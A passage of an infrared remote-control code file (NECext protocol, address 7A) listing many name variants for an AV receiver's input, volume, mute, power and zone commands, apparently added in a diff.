+type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: TUNER:_PRESET_PG_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: TUN_A-B/CAT_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: PRESET_MODE_(A-E) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: TUNER:_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: TUNER:_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: DVR/VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: INPUT_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: INPUT:_VCR_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: INPUT:_VCR_2/DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: VCR2/DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: VCR_2/DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: INPUT:_VCR2_/_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: INPUT_DVR/_VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: MZ:_VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: MZ:_DVR/VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: VCR-2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: INPUT:_VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: MZ_IN:_DVR/VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: INPUT:_VCR_2_/_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: DVR_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: INP_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: INPUT_VCR_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: MZ:_VCR2/DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: DVR/VCR_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: INPUT:_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: MAIN:_VCR2/DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: INP_DVR/VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: MZ:_INP_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: MZ_INP:_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: MZ_INP:_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: SELECT_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: INPUT_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: INPUT_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: INPUT:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: MZ:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: MZ_IN:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: INP_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: MAIN:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: INP_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: MZ:_INP_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: MZ_INP:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: MZ_INP:_PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: SELECT_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: INPUT:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: MZ:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: CB +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: CD_(MP3) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: MZ_IN:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: CD_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: INP_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: MAIN:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: INP_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: MZ:_INP_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: Z2:_INP_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: MZ_INP:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: MZ_INP:_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: SELECT_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: INPUT_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: INPUT:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: MZ:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: MZ_IN:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: TUNER_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: INP_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: MAIN:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: INP_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: MZ:_INP_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: MZ_INP:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: MZ_INP:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: SELECT_DVD_/_LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: LD/TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: VIDEO/AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: INPUT_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: INPUT:_LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: TV_LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: DVD/LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: LDV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: LASER_DISC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: SELECT_TAPE_/_MD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: TAPE/MD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: INPUT:_TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: INPUT_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: MZ:_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: INPUT:_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: MZ_IN:_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: MZ:_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: TAPE_/MD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: TAPE_2/VCR_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: MZ:_INP_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: Z4:_SYSM_REC/SV_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: INPUT:_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: INPUT:_TAPE2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: INPUT_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: MZ:_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: MZ_IN:_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: INPUT:CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: INP_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: TAPE_1/DAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: MZ:_INP_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: Z4:_SYSM_REC/SV_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: MZ_INP:_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: MZ_INP:_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: MAINZONE_VOL_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: MZ:_VOL_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: MZ_VOL_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: MZ:_VOLUME_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: MAIN:_VOLUME+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: MASTER_VOL_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: MAIN:_VOLUME_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: VOLUME_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: MZ:_VOLUME_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: Z4:_SYSM_REC/SV_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: MZ:_VOLUME_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: MAINZONE_VOL_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: VOL_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: MZ:_VOL_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: MZ_VOL_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: MZ:_VOLUME_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: MAIN:_VOLUME- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: MASTER_VOL_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: VIOLUME_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: MAIN:_VOLUME_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: VOLUME_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: MZ:_VOLUME_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: Z4:_SYSM_REC/SV_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: MZ:_VOLUME_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: AUDIO_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: MZ:_MUTE_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: MZ_MUTE_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: MZ:_MUTE_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: MUTE_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: MAIN:_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: MUTE-TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: MUTE:_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: MAIN:_MUTE_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: MUTE_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: DIAGNOSTIC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: SYSTEM_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: SYSTEM_POWER_(ON) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: MZ:_POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: MZ:_SYSTEM_POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: ALL_ZONE_POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: ALL_POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: SYSTEM_POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: ALL_ZONES_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: POWER_ON_ALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: POWER_ON_(ALL) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: ALL:_POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: MAIN:_POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: SYSTEM_POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: MZ_+_Z2_POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: AZ:_POWER_ON +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1D 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: STAND_BY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: STANDBY_(OFF) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: MZ:_POWER_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: MZ:_SYSTEM_POWER_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: ALL_ZONE_POWER_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: ALL_POWER_STANDBY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: ALL_ZONES_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: POWER_OFF/STNDBY_ALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: POWER_OFF_(ALL) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: STANDBY_ALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: ALL:_STANDBY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: MAIN:_POWER_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: SYSTEM_POWER_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: MZ_+_Z2_POWER_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: AZ:_POWER_OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: MZ:_POWER_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: MZ:_SYSTEM_POWER_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: ALL_ZONE_POWER_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: INPUT_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: INPUT_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: MAIN:_POWER_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: MZ:_INPUT_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: INPUT_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 20 00 00 00 +# +name: Z2_INPUT_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 20 00 00 00 +# +name: Z2:_INPUT_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 20 00 00 00 +# +name: Z2_INPUT_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 20 00 00 00 +# +name: Z4:_INP_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 20 00 00 00 +# +name: Z2:_INPUT_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 20 00 00 00 +# +name: Z4_INP:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 20 00 00 00 +# +name: Z4_INP:_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 20 00 00 00 +# +name: INPUT_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 21 00 00 00 +# +name: Z4:_INP_MD/TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 21 00 00 00 +# +name: Z3:_INPUT_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 21 00 00 00 +# +name: Z4:_INP_CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 22 00 00 00 +# +name: Z4:_INPUT_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 22 00 00 00 +# +name: Z4_INP:_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 22 00 00 00 +# +name: Z4_INP:_MD/CD-R +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 22 00 00 00 +# +name: INPUT_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 23 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 23 00 00 00 +# +name: INPUT_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 23 00 00 00 +# +name: MZ:_INPUT_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 23 00 00 00 +# +name: Z4:_INP_DTV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 23 00 00 00 +# +name: Z4_INP:_TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 23 00 00 00 +# +name: Z4_INP:_TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 23 00 00 00 +# +name: INPUT_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 24 00 00 00 +# +name: Z2_INPUT_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 24 00 00 00 +# +name: Z2:_INPUT_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 24 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 24 00 00 00 +# +name: Z2_INPUT_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 24 00 00 00 +# +name: Z4:_INP_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 24 00 00 00 +# +name: Z2:_INPUT_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 24 00 00 00 +# +name: Z4_INP:_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 24 00 00 00 +# +name: Z4_INP:_CBL/SAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 24 00 00 00 +# +name: INPUT_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 25 00 00 00 +# +name: Z3:_INPUT_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 25 00 00 00 +# +name: Z4:_INP_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 26 00 00 00 +# +name: Z4:_INPUT_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 26 00 00 00 +# +name: Z4_INP:_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 26 00 00 00 +# +name: Z4_INP:_VCR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 26 00 00 00 +# +name: DISP_INFO_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 27 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 27 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 27 00 00 00 +# +name: DISPLAY_INFO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 27 00 00 00 +# +name: Z4:_INP_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 27 00 00 00 +# +name: INFO_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 27 00 00 00 +# +name: INFO_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 27 00 00 00 +# +name: Z4_INP:_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 27 00 00 00 +# +name: Z4_INP:_DVR +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 27 00 